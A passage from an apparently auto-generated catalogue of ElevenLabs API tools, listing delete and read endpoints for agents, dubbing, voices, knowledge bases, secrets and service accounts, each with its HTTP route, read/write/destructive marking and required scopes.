convai_write. elevenlabs_delete_v1_convai_tools_by_tool_id (write, destructive) — Delete Tool via DELETE /v1/convai/tools/{tool_id} DELETE /api/v1/elevenlabs/v1/convai/tools/{tool_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_triage_tickets_by_agentqa_ticket_id (write, destructive) — Delete Agent Conversation Ticket via DELETE /v1/convai/triage-tickets/{agentqa_ticket_id} DELETE /api/v1/elevenlabs/v1/convai/triage-tickets/{agentqa_ticket_id}. Scopes: convai_write. elevenlabs_delete_v1_convai_whatsapp_accounts_by_phone_number_id (write, destructive) — Delete Whatsapp Account via DELETE /v1/convai/whatsapp-accounts/{phone_number_id} DELETE /api/v1/elevenlabs/v1/convai/whatsapp-accounts/{phone_number_id}. Scopes: convai_write. elevenlabs_delete_v1_dubbing_by_dubbing_id (write, destructive) — Delete Dubbing via DELETE /v1/dubbing/{dubbing_id} DELETE /api/v1/elevenlabs/v1/dubbing/{dubbing_id}. Scopes: dubbing_write. elevenlabs_delete_v1_dubbing_project_by_project_id (write, destructive) — Delete Dubbing Project via DELETE /v1/dubbing/project/{project_id} DELETE /api/v1/elevenlabs/v1/dubbing/project/{project_id}. Scopes: dubbing_write. elevenlabs_delete_v1_dubbing_project_by_project_id_language_by_language_id (write, destructive) — Delete Dubbing Language Target via DELETE /v1/dubbing/project/{project_id}/language/{language_id} DELETE /api/v1/elevenlabs/v1/dubbing/project/{project_id}/language/{language_id}. Scopes: dubbing_write. elevenlabs_delete_v1_dubbing_project_by_project_id_transcript_segment_by_segment_id (write, destructive) — Delete Dubbing Transcript Segment via DELETE /v1/dubbing/project/{project_id}/transcript/segment/{segment_id} DELETE /api/v1/elevenlabs/v1/dubbing/project/{project_id}/transcript/segment/{segment_id}. Scopes: dubbing_write. elevenlabs_delete_v1_dubbing_resource_by_dubbing_id_segment_by_segment_id (write, destructive) — Deletes A Single Segment (deprecated) via DELETE /v1/dubbing/resource/{dubbing_id}/segment/{segment_id} DELETE /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/segment/{segment_id}. Scopes: dubbing_write. elevenlabs_delete_v1_history_by_history_item_id (write, destructive) — Delete History Item via DELETE /v1/history/{history_item_id} DELETE /api/v1/elevenlabs/v1/history/{history_item_id}. Scopes: speech_history_write. elevenlabs_delete_v1_music_finetunes_by_finetune_id (write, destructive) — Delete Music Finetune via DELETE /v1/music/finetunes/{finetune_id} DELETE /api/v1/elevenlabs/v1/music/finetunes/{finetune_id}. Scopes: music_generation. elevenlabs_delete_v1_productions_orders_by_order_id_items_by_item_id (write, destructive) — Remove Order Item via DELETE /v1/productions/orders/{order_id}/items/{item_id} DELETE /api/v1/elevenlabs/v1/productions/orders/{order_id}/items/{item_id}. Scopes: projects_write. elevenlabs_delete_v1_service_accounts_by_service_account_user_id_api_keys_by_api_key_id (write, destructive) — Delete Service Account Api Key via DELETE /v1/service-accounts/{service_account_user_id}/api-keys/{api_key_id} DELETE /api/v1/elevenlabs/v1/service-accounts/{service_account_user_id}/api-keys/{api_key_id}. Scopes: service_account_write. elevenlabs_delete_v1_speech_engine_by_speech_engine_id (write, destructive) — Delete Speech Engine via DELETE /v1/speech-engine/{speech_engine_id} DELETE /api/v1/elevenlabs/v1/speech-engine/{speech_engine_id}. Scopes: convai_write. elevenlabs_delete_v1_speech_to_text_transcripts_by_transcription_id (write, destructive) — Delete Transcript By Id via DELETE /v1/speech-to-text/transcripts/{transcription_id} DELETE /api/v1/elevenlabs/v1/speech-to-text/transcripts/{transcription_id}. Scopes: speech_to_text. elevenlabs_delete_v1_studio_projects_by_project_id (write, destructive) — Delete Studio Project via DELETE /v1/studio/projects/{project_id} DELETE /api/v1/elevenlabs/v1/studio/projects/{project_id}. Scopes: projects_write. elevenlabs_delete_v1_studio_projects_by_project_id_chapters_by_chapter_id (write, destructive) — Delete Chapter via DELETE /v1/studio/projects/{project_id}/chapters/{chapter_id} DELETE /api/v1/elevenlabs/v1/studio/projects/{project_id}/chapters/{chapter_id}. Scopes: projects_write. elevenlabs_delete_v1_voices_by_voice_id (write, destructive) — Delete Voice via DELETE /v1/voices/{voice_id} DELETE /api/v1/elevenlabs/v1/voices/{voice_id}. Scopes: voices_write. elevenlabs_delete_v1_voices_by_voice_id_samples_by_sample_id (write, destructive) — Delete Sample via DELETE /v1/voices/{voice_id}/samples/{sample_id} DELETE /api/v1/elevenlabs/v1/voices/{voice_id}/samples/{sample_id}. Scopes: voices_write. elevenlabs_delete_v1_voices_pvc_by_voice_id_samples_by_sample_id (write, destructive) — Delete Pvc Voice Sample via DELETE /v1/voices/pvc/{voice_id}/samples/{sample_id} DELETE /api/v1/elevenlabs/v1/voices/pvc/{voice_id}/samples/{sample_id}. Scopes: create_professional_voice_clone, voices_write. elevenlabs_delete_v1_workspace_auth_connections_by_auth_connection_id (write, destructive) — Delete Workspace Auth Connection via DELETE /v1/workspace/auth-connections/{auth_connection_id} DELETE /api/v1/elevenlabs/v1/workspace/auth-connections/{auth_connection_id}. Scopes: workspace_write. elevenlabs_delete_v1_workspace_invites (write, destructive) — Delete Existing Invitation via DELETE /v1/workspace/invites DELETE /api/v1/elevenlabs/v1/workspace/invites. Scopes: workspace_members_invite. elevenlabs_delete_v1_workspace_webhooks_by_webhook_id (write, destructive) — Delete Workspace Webhook via DELETE /v1/workspace/webhooks/{webhook_id} DELETE /api/v1/elevenlabs/v1/workspace/webhooks/{webhook_id}. Scopes: webhooks_write. elevenlabs_get_v1_assets (read) — List Assets via GET /v1/assets GET /api/v1/elevenlabs/v1/assets. Scopes: image_video_generation. elevenlabs_get_v1_assets_by_asset_id (read) — Get Asset via GET /v1/assets/{asset_id} GET /api/v1/elevenlabs/v1/assets/{asset_id}. Scopes: image_video_generation. elevenlabs_get_v1_audio_isolation_history (read) — Get Audio Isolation History via GET /v1/audio-isolation/history GET /api/v1/elevenlabs/v1/audio-isolation/history. Scopes: audio_isolation. elevenlabs_get_v1_audio_native_by_project_id_settings (read) — Get Audio Native Project Settings via GET /v1/audio-native/{project_id}/settings GET /api/v1/elevenlabs/v1/audio-native/{project_id}/settings. Scopes: audio_native_read. elevenlabs_get_v1_convai_agent_by_agent_id_knowledge_base_size (read) — Returns The Size Of The Agent'S Knowledge Base via GET /v1/convai/agent/{agent_id}/knowledge-base/size GET /api/v1/elevenlabs/v1/convai/agent/{agent_id}/knowledge-base/size. Scopes: convai_read. elevenlabs_get_v1_convai_agent_testing (read) — List Agent Response Tests via GET /v1/convai/agent-testing GET /api/v1/elevenlabs/v1/convai/agent-testing. Scopes: convai_read. elevenlabs_get_v1_convai_agent_testing_by_test_id (read) — Get Agent Response Test By Id via GET /v1/convai/agent-testing/{test_id} GET /api/v1/elevenlabs/v1/convai/agent-testing/{test_id}. Scopes: convai_read. elevenlabs_get_v1_convai_agent_testing_folders_by_folder_id (read) — Get Agent Test Folder By Id via GET /v1/convai/agent-testing/folders/{folder_id} GET /api/v1/elevenlabs/v1/convai/agent-testing/folders/{folder_id}. Scopes: convai_read. elevenlabs_get_v1_convai_agents (read) — List Agents via GET /v1/convai/agents GET /api/v1/elevenlabs/v1/convai/agents. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id (read) — Get Agent via GET /v1/convai/agents/{agent_id} GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_branches (read) — List Agent Branches via GET /v1/convai/agents/{agent_id}/branches GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_branches_by_branch_id (read) — Get Agent Branch via GET /v1/convai/agents/{agent_id}/branches/{branch_id} GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_branches_by_branch_id_procedures (read) — List Procedures via GET /v1/convai/agents/{agent_id}/branches/{branch_id}/procedures GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}/procedures. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_branches_by_branch_id_procedures_by_procedure_id (read) — Get Procedure via GET /v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/{procedure_id} GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/{procedure_id}. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_branches_by_branch_id_procedures_by_procedure_id_draft (read) — Get Procedure Draft via GET /v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/{procedure_id}/draft GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}/procedures/{procedure_id}/draft. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_branches_by_branch_id_rebase_preview (read) — Preview Rebased Configuration via GET /v1/convai/agents/{agent_id}/branches/{branch_id}/rebase-preview GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{branch_id}/rebase-preview. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_branches_by_source_branch_id_merge_preview (read) — Preview Merged Configuration via GET /v1/convai/agents/{agent_id}/branches/{source_branch_id}/merge-preview GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/branches/{source_branch_id}/merge-preview. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_link (read) — Get Shareable Agent Link via GET /v1/convai/agents/{agent_id}/link GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/link. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_topics (read) — Get Agent Conversation Topics via GET /v1/convai/agents/{agent_id}/topics GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/topics. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_triage_tickets (read) — List Agent Conversation Tickets via GET /v1/convai/agents/{agent_id}/triage-tickets GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/triage-tickets. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_triage_tickets_assignable_users (read) — Get Agent Conversation Ticket Assignable Users via GET /v1/convai/agents/{agent_id}/triage-tickets/assignable-users GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/triage-tickets/assignable-users. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_versions_by_version_id (read) — Get Agent Version Metadata via GET /v1/convai/agents/{agent_id}/versions/{version_id} GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/versions/{version_id}. Scopes: convai_read. elevenlabs_get_v1_convai_agents_by_agent_id_widget (read) — Get Agent Widget Config via GET /v1/convai/agents/{agent_id}/widget GET /api/v1/elevenlabs/v1/convai/agents/{agent_id}/widget. Scopes: convai_read. elevenlabs_get_v1_convai_agents_summaries (read) — Get Agent Summaries via GET /v1/convai/agents/summaries GET /api/v1/elevenlabs/v1/convai/agents/summaries. Scopes: convai_read. elevenlabs_get_v1_convai_analytics_live_count (read) — Get Live Count via GET /v1/convai/analytics/live-count GET /api/v1/elevenlabs/v1/convai/analytics/live-count. Scopes: convai_read. elevenlabs_get_v1_convai_batch_calling_by_batch_id (read) — Get A Batch Call By Id. via GET /v1/convai/batch-calling/{batch_id} GET /api/v1/elevenlabs/v1/convai/batch-calling/{batch_id}. Scopes: convai_read. elevenlabs_get_v1_convai_batch_calling_by_batch_id_export (read) — Export Batch Call Results via GET /v1/convai/batch-calling/{batch_id}/export GET /api/v1/elevenlabs/v1/convai/batch-calling/{batch_id}/export. Scopes: convai_read. elevenlabs_get_v1_convai_batch_calling_workspace (read) — Get All Batch Calls For A Workspace. via GET /v1/convai/batch-calling/workspace GET /api/v1/elevenlabs/v1/convai/batch-calling/workspace. Scopes: convai_read. elevenlabs_get_v1_convai_conversation_get_signed_url (read) — Get Signed Url via GET /v1/convai/conversation/get-signed-url GET /api/v1/elevenlabs/v1/convai/conversation/get-signed-url. Scopes: convai_read. elevenlabs_get_v1_convai_conversation_token (read) — Get Webrtc Token via GET /v1/convai/conversation/token GET /api/v1/elevenlabs/v1/convai/conversation/token. Scopes: convai_read. elevenlabs_get_v1_convai_conversations (read) — Get Conversations via GET /v1/convai/conversations GET /api/v1/elevenlabs/v1/convai/conversations. Scopes: convai_read. elevenlabs_get_v1_convai_conversations_by_conversation_id (read) — Get Conversation Details via GET /v1/convai/conversations/{conversation_id} GET /api/v1/elevenlabs/v1/convai/conversations/{conversation_id}. Scopes: convai_read. elevenlabs_get_v1_convai_conversations_by_conversation_id_sip_messages (read) — Get Sip Messages For A Conversation via GET /v1/convai/conversations/{conversation_id}/sip-messages GET /api/v1/elevenlabs/v1/convai/conversations/{conversation_id}/sip-messages. Scopes: convai_read. elevenlabs_get_v1_convai_conversations_by_conversation_id_summary (read) — Get Conversation Summary via GET /v1/convai/conversations/{conversation_id}/summary GET /api/v1/elevenlabs/v1/convai/conversations/{conversation_id}/summary. Scopes: convai_read. elevenlabs_get_v1_convai_conversations_messages_smart_search (read) — Smart Search Conversation Messages via GET /v1/convai/conversations/messages/smart-search GET /api/v1/elevenlabs/v1/convai/conversations/messages/smart-search. Scopes: convai_read. elevenlabs_get_v1_convai_conversations_messages_text_search (read) — Text Search Conversation Messages via GET /v1/convai/conversations/messages/text-search GET /api/v1/elevenlabs/v1/convai/conversations/messages/text-search. Scopes: convai_read. elevenlabs_get_v1_convai_conversations_resolve (read) — Resolve Conversation Reference via GET /v1/convai/conversations/resolve GET /api/v1/elevenlabs/v1/convai/conversations/resolve. Scopes: convai_read. elevenlabs_get_v1_convai_environment_variables (read) — List Environment Variables via GET /v1/convai/environment-variables GET /api/v1/elevenlabs/v1/convai/environment-variables. Scopes: convai_read. elevenlabs_get_v1_convai_environment_variables_by_env_var_id (read) — Get Environment Variable via GET /v1/convai/environment-variables/{env_var_id} GET /api/v1/elevenlabs/v1/convai/environment-variables/{env_var_id}. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base (read) — Get Knowledge Base List via GET /v1/convai/knowledge-base GET /api/v1/elevenlabs/v1/convai/knowledge-base. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_by_documentation_id (read) — Get Documentation From Knowledge Base via GET /v1/convai/knowledge-base/{documentation_id} GET /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_by_documentation_id_chunk_by_chunk_id (read) — Get Documentation Chunk From Knowledge Base via GET /v1/convai/knowledge-base/{documentation_id}/chunk/{chunk_id} GET /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}/chunk/{chunk_id}. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_by_documentation_id_chunks (read) — Get All Rag Chunks For A Document via GET /v1/convai/knowledge-base/{documentation_id}/chunks GET /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}/chunks. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_by_documentation_id_content (read) — Get Document Content via GET /v1/convai/knowledge-base/{documentation_id}/content GET /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}/content. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_by_documentation_id_dependent_agents (read) — Get Dependent Agents List via GET /v1/convai/knowledge-base/{documentation_id}/dependent-agents GET /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}/dependent-agents. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_by_documentation_id_rag_index (read) — Get Rag Indexes Of The Specified Knowledgebase Document. via GET /v1/convai/knowledge-base/{documentation_id}/rag-index GET /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}/rag-index. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_by_documentation_id_source_file_url (read) — Get Document Source File Url via GET /v1/convai/knowledge-base/{documentation_id}/source-file-url GET /api/v1/elevenlabs/v1/convai/knowledge-base/{documentation_id}/source-file-url. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_crawl (read) — List Ongoing And Recent Crawl Jobs Created By A User via GET /v1/convai/knowledge-base/crawl GET /api/v1/elevenlabs/v1/convai/knowledge-base/crawl. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_crawl_by_crawl_job_id (read) — Get Crawl Job Details via GET /v1/convai/knowledge-base/crawl/{crawl_job_id} GET /api/v1/elevenlabs/v1/convai/knowledge-base/crawl/{crawl_job_id}. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_rag_index (read) — Get Rag Index Overview. via GET /v1/convai/knowledge-base/rag-index GET /api/v1/elevenlabs/v1/convai/knowledge-base/rag-index. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_search (read) — Search Knowledge Base Content via GET /v1/convai/knowledge-base/search GET /api/v1/elevenlabs/v1/convai/knowledge-base/search. Scopes: convai_read. elevenlabs_get_v1_convai_knowledge_base_summaries (read) — Get Knowledge Base Summaries By Ids via GET /v1/convai/knowledge-base/summaries GET /api/v1/elevenlabs/v1/convai/knowledge-base/summaries. Scopes: convai_read. elevenlabs_get_v1_convai_llm_list (read) — List Available Llms via GET /v1/convai/llm/list GET /api/v1/elevenlabs/v1/convai/llm/list. Scopes: convai_read. elevenlabs_get_v1_convai_mcp_servers (read) — List Mcp Servers via GET /v1/convai/mcp-servers GET /api/v1/elevenlabs/v1/convai/mcp-servers. Scopes: convai_read. elevenlabs_get_v1_convai_mcp_servers_by_mcp_server_id (read) — Get Mcp Server via GET /v1/convai/mcp-servers/{mcp_server_id} GET /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}. Scopes: convai_read. elevenlabs_get_v1_convai_mcp_servers_by_mcp_server_id_tool_configs_by_tool_name (read) — Get Mcp Tool Configuration Override via GET /v1/convai/mcp-servers/{mcp_server_id}/tool-configs/{tool_name} GET /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}/tool-configs/{tool_name}. Scopes: convai_read. elevenlabs_get_v1_convai_mcp_servers_by_mcp_server_id_tools (read) — List Mcp Server Tools via GET /v1/convai/mcp-servers/{mcp_server_id}/tools GET /api/v1/elevenlabs/v1/convai/mcp-servers/{mcp_server_id}/tools. Scopes: convai_read. elevenlabs_get_v1_convai_phone_numbers (read) — List Phone Numbers via GET /v1/convai/phone-numbers GET /api/v1/elevenlabs/v1/convai/phone-numbers. Scopes: convai_read. elevenlabs_get_v1_convai_phone_numbers_by_phone_number_id (read) — Get Phone Number via GET /v1/convai/phone-numbers/{phone_number_id} GET /api/v1/elevenlabs/v1/convai/phone-numbers/{phone_number_id}. Scopes: convai_read. elevenlabs_get_v1_convai_phone_numbers_by_phone_number_id_sip_messages (read) — Get Sip Messages For A Phone Number via GET /v1/convai/phone-numbers/{phone_number_id}/sip-messages GET /api/v1/elevenlabs/v1/convai/phone-numbers/{phone_number_id}/sip-messages. Scopes: convai_read. elevenlabs_get_v1_convai_secrets (read) — Get Convai Workspace Secrets via GET /v1/convai/secrets GET /api/v1/elevenlabs/v1/convai/secrets. Scopes: convai_read. elevenlabs_get_v1_convai_secrets_by_secret_id (read) — Get Convai Workspace Secret via GET /v1/convai/secrets/{secret_id} GET /api/v1/elevenlabs/v1/convai/secrets/{secret_id}. Scopes: convai_read. elevenlabs_get_v1_convai_secrets_by_secret_id_dependencies_by_resource_type (read) — Get Secret Dependencies By Type via GET /v1/convai/secrets/{secret_id}/dependencies/{resource_type} GET /api/v1/elevenlabs/v1/convai/secrets/{secret_id}/dependencies/{resource_type}. Scopes: convai_read. elevenlabs_get_v1_convai_settings (read) — Get Convai Settings via GET /v1/convai/settings GET /api/v1/elevenlabs/v1/convai/settings. Scopes: convai_read. elevenlabs_get_v1_convai_settings_dashboard (read) — Get Convai Dashboard Settings via GET /v1/convai/settings/dashboard GET /api/v1/elevenlabs/v1/convai/settings/dashboard. Scopes: convai_read. elevenlabs_get_v1_convai_tags (read) — List Conversation Tags via GET /v1/convai/tags GET /api/v1/elevenlabs/v1/convai/tags. Scopes: convai_read. elevenlabs_get_v1_convai_tags_by_tag_id (read) — Get Conversation Tag via GET /v1/convai/tags/{tag_id} GET /api/v1/elevenlabs/v1/convai/tags/{tag_id}. Scopes: convai_read. elevenlabs_get_v1_convai_test_invocations (read) — List Test Invocations via GET /v1/convai/test-invocations GET /api/v1/elevenlabs/v1/convai/test-invocations. Scopes: convai_read. elevenlabs_get_v1_convai_test_invocations_by_test_invocation_id (read) — Get Test Invocation via GET /v1/convai/test-invocations/{test_invocation_id} GET /api/v1/elevenlabs/v1/convai/test-invocations/{test_invocation_id}. Scopes: convai_read. elevenlabs_get_v1_convai_tools (read) — Get Tools via GET /v1/convai/tools GET /api/v1/elevenlabs/v1/convai/tools. Scopes: convai_read. elevenlabs_get_v1_convai_tools_by_tool_id (read) — Get Tool via GET /v1/convai/tools/{tool_id} GET /api/v1/elevenlabs/v1/convai/tools/{tool_id}. Scopes: convai_read. elevenlabs_get_v1_convai_tools_by_tool_id_dependent_agents (read) — Get Dependent Agents List via GET /v1/convai/tools/{tool_id}/dependent-agents GET /api/v1/elevenlabs/v1/convai/tools/{tool_id}/dependent-agents. Scopes: convai_read. elevenlabs_get_v1_convai_tools_by_tool_id_executions (read) — Get Tool Executions via GET /v1/convai/tools/{tool_id}/executions GET /api/v1/elevenlabs/v1/convai/tools/{tool_id}/executions. Scopes: convai_read. elevenlabs_get_v1_convai_triage_tickets_by_agentqa_ticket_id (read) — Get Agent Conversation Ticket via GET /v1/convai/triage-tickets/{agentqa_ticket_id} GET /api/v1/elevenlabs/v1/convai/triage-tickets/{agentqa_ticket_id}. Scopes: convai_read. elevenlabs_get_v1_convai_users (read) — Get Conversation Users via GET /v1/convai/users GET /api/v1/elevenlabs/v1/convai/users. Scopes: convai_read. elevenlabs_get_v1_convai_whatsapp_accounts (read) — List Whatsapp Accounts via GET /v1/convai/whatsapp-accounts GET /api/v1/elevenlabs/v1/convai/whatsapp-accounts. Scopes: convai_read. elevenlabs_get_v1_convai_whatsapp_accounts_by_phone_number_id (read) — Get Whatsapp Account via GET /v1/convai/whatsapp-accounts/{phone_number_id} GET /api/v1/elevenlabs/v1/convai/whatsapp-accounts/{phone_number_id}. Scopes: convai_read. elevenlabs_get_v1_dubbing (read) — List Dubs via GET /v1/dubbing GET /api/v1/elevenlabs/v1/dubbing. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_by_dubbing_id (read) — Get Dubbing via GET /v1/dubbing/{dubbing_id} GET /api/v1/elevenlabs/v1/dubbing/{dubbing_id}. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_by_dubbing_id_transcript_by_language_code (read) — Get Dubbed Transcript (deprecated) via GET /v1/dubbing/{dubbing_id}/transcript/{language_code} GET /api/v1/elevenlabs/v1/dubbing/{dubbing_id}/transcript/{language_code}. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_by_dubbing_id_transcripts_by_language_code_format_by_format_type (read) — Retrieve A Transcript via GET /v1/dubbing/{dubbing_id}/transcripts/{language_code}/format/{format_type} GET /api/v1/elevenlabs/v1/dubbing/{dubbing_id}/transcripts/{language_code}/format/{format_type}. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_project (read) — List Dubbing Projects via GET /v1/dubbing/project GET /api/v1/elevenlabs/v1/dubbing/project. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_project_by_project_id (read) — Get Dubbing Project via GET /v1/dubbing/project/{project_id} GET /api/v1/elevenlabs/v1/dubbing/project/{project_id}. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_project_by_project_id_language (read) — List Dubbing Language Targets via GET /v1/dubbing/project/{project_id}/language GET /api/v1/elevenlabs/v1/dubbing/project/{project_id}/language. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_project_by_project_id_language_by_language_id (read) — Get Dubbing Language Target via GET /v1/dubbing/project/{project_id}/language/{language_id} GET /api/v1/elevenlabs/v1/dubbing/project/{project_id}/language/{language_id}. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_project_by_project_id_language_by_language_id_transcript (read) — Get Dubbing Target Transcript via GET /v1/dubbing/project/{project_id}/language/{language_id}/transcript GET /api/v1/elevenlabs/v1/dubbing/project/{project_id}/language/{language_id}/transcript. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_project_by_project_id_transcript (read) — Get Dubbing Transcript via GET /v1/dubbing/project/{project_id}/transcript GET /api/v1/elevenlabs/v1/dubbing/project/{project_id}/transcript. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_resource_by_dubbing_id (read) — Get The Dubbing Resource For An Id. (deprecated) via GET /v1/dubbing/resource/{dubbing_id} GET /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}. Scopes: dubbing_read. elevenlabs_get_v1_dubbing_resource_by_dubbing_id_speaker_by_speaker_id_similar_voices (read) — Search The Elevenlabs Library For Voices Similar To A Speaker. (deprecated) via GET /v1/dubbing/resource/{dubbing_id}/speaker/{speaker_id}/similar-voices GET /api/v1/elevenlabs/v1/dubbing/resource/{dubbing_id}/speaker/{speaker_id}/similar-voices. Scopes: dubbing_read. elevenlabs_get_v1_flows_image (read) — List Image Generations via GET /v1/flows/image GET /api/v1/elevenlabs/v1/flows/image. Scopes: flows. elevenlabs_get_v1_flows_image_by_generation_id (read) — Get Image Generation via GET /v1/flows/image/{generation_id} GET /api/v1/elevenlabs/v1/flows/image/{generation_id}. Scopes: flows. elevenlabs_get_v1_flows_text_to_speech (read) — List Speech Generations via GET /v1/flows/text-to-speech GET /api/v1/elevenlabs/v1/flows/text-to-speech. Scopes: flows. elevenlabs_get_v1_flows_text_to_speech_by_generation_id (read) — Get Speech Generation via GET /v1/flows/text-to-speech/{generation_id} GET /api/v1/elevenlabs/v1/flows/text-to-speech/{generation_id}. Scopes: flows. elevenlabs_get_v1_flows_video (read) — List Video Generations via GET /v1/flows/video GET /api/v1/elevenlabs/v1/flows/video. Scopes: flows. elevenlabs_get_v1_flows_video_by_generation_id (read) — Get Video Generation via GET /v1/flows/video/{generation_id} GET /api/v1/elevenlabs/v1/flows/video/{generation_id}. Scopes: flows. elevenlabs_get_v1_history (read) — List Generated Items via GET /v1/history GET /api/v1/elevenlabs/v1/history. Scopes: speech_history_read. elevenlabs_get_v1_history_by_history_item_id (read) — Get History Item via GET /v1/history/{history_item_id} GET /api/v1/elevenlabs/v1/history/{history_item_id}. Scopes: speech_history_read. elevenlabs_get_v1_models (read) — Get Models via GET /v1/models GET /api/v1/elevenlabs/v1/models. Scopes: models_read. elevenlabs_get_v1_music_finetunes (read) — Get Music Finetunes via GET /v1/music/finetunes GET /api/v1/elevenlabs/v1/music/finetunes. Scopes: music_generation. elevenlabs_get_v1_music_finetunes_by_finetune_id (read) — Get Music Finetune via GET /v1/music/finetunes/{finetune_id} GET /api/v1/elevenlabs/v1/music/finetunes/{finetune_id}. Scopes: music_generation. elevenlabs_get_v1_productions_orders (read) — List Orders via GET /v1/productions/orders GET /api/v1/elevenlabs/v1/productions/orders. Scopes: projects_read. elevenlabs_get_v1_productions_orders_by_order_id (read) — Get Order via GET /v1/productions/orders/{order_id} GET /api/v1/elevenlabs/v1/productions/orders/{order_id}. Scopes: projects_read. elevenlabs_get_v1_productions_orders_by_order_id_deliverables (read) — Get Order Deliverables via GET /v1/productions/orders/{order_id}/deliverables GET /api/v1/elevenlabs/v1/productions/orders/{order_id}/deliverables. Scopes: projects_read. elevenlabs_get_v1_productions_orders_by_order_id_media_by_media_id (read) — Get Media Info via GET /v1/productions/orders/{order_id}/media/{media_id} GET /api/v1/elevenlabs/v1/productions/orders/{order_id}/media/{media_id}. Scopes: projects_read. elevenlabs_get_v1_productions_orders_languages_by_order_item_kind (read) — Get Available Languages via GET /v1/productions/orders/languages/{order_item_kind} GET /api/v1/elevenlabs/v1/productions/orders/languages/{order_item_kind}. Scopes: projects_read. elevenlabs_get_v1_pronunciation_dictionaries (read) — Get Pronunciation Dictionaries via GET /v1/pronunciation-dictionaries GET /api/v1/elevenlabs/v1/pronunciation-dictionaries. Scopes: pronunciation_dictionaries_read. elevenlabs_get_v1_pronunciation_dictionaries_by_dictionary_id_by_version_id_download (read) — Get A Pls File With A Pronunciation Dictionary Version Rules via GET /v1/pronunciation-dictionaries/{dictionary_id}/{version_id}/download GET /api/v1/elevenlabs/v1/pronunciation-dictionaries/{dictionary_id}/{version_id}/download. Scopes: pronunciation_dictionaries_read. elevenlabs_get_v1_pronunciation_dictionaries_by_pronunciation_dictionary_id (read) — Get Metadata For A Pronunciation Dictionary via GET /v1/pronunciation-dictionaries/{pronunciation_dictionary_id} GET /api/v1/elevenlabs/v1/pronunciation-dictionaries/{pronunciation_dictionary_id}. Scopes: pronunciation_dictionaries_read. elevenlabs_get_v1_service_accounts (read) — Get Workspace Service Accounts via GET /v1/service-accounts GET /api/v1/elevenlabs/v1/service-accounts. Scopes: workspace_read. elevenlabs_get_v1_service_accounts_by_service_account_user_id_api_keys (read) — Get Service Account Api Keys Route via GET /v1/service-accounts/{service_account_user_id}/api-keys GET /api/v1/elevenlabs/v1/service-accounts/{service_account_user_id}/api-keys. Scopes: workspace_read. elevenlabs_get_v1_shared_voices (read) — Get Voices via GET /v1/shared-voices GET /api/v1/elevenlabs/v1/shared-voices. Scopes: voices_read. elevenlabs_get_v1_speech_engine (read) — List Speech Engines via GET /v1/speech-engine GET /api/v1/elevenlabs/v1/speech-engine. Scopes: convai_read. elevenlabs_get_v1_speech_engine_by_speech_engine_id (read) — Get Speech Engine via GET /v1/speech-engine/{speech_engine_id} GET /api/v1/elevenlabs/v1/speech-engine/{speech_engine_id}. Scopes: convai_read. elevenlabs_get_v1_speech_to_text_transcripts_by_transcription_id (read) — Get Transcript By Id via GET /v1/speech-to-text/transcripts/{transcription_id} GET 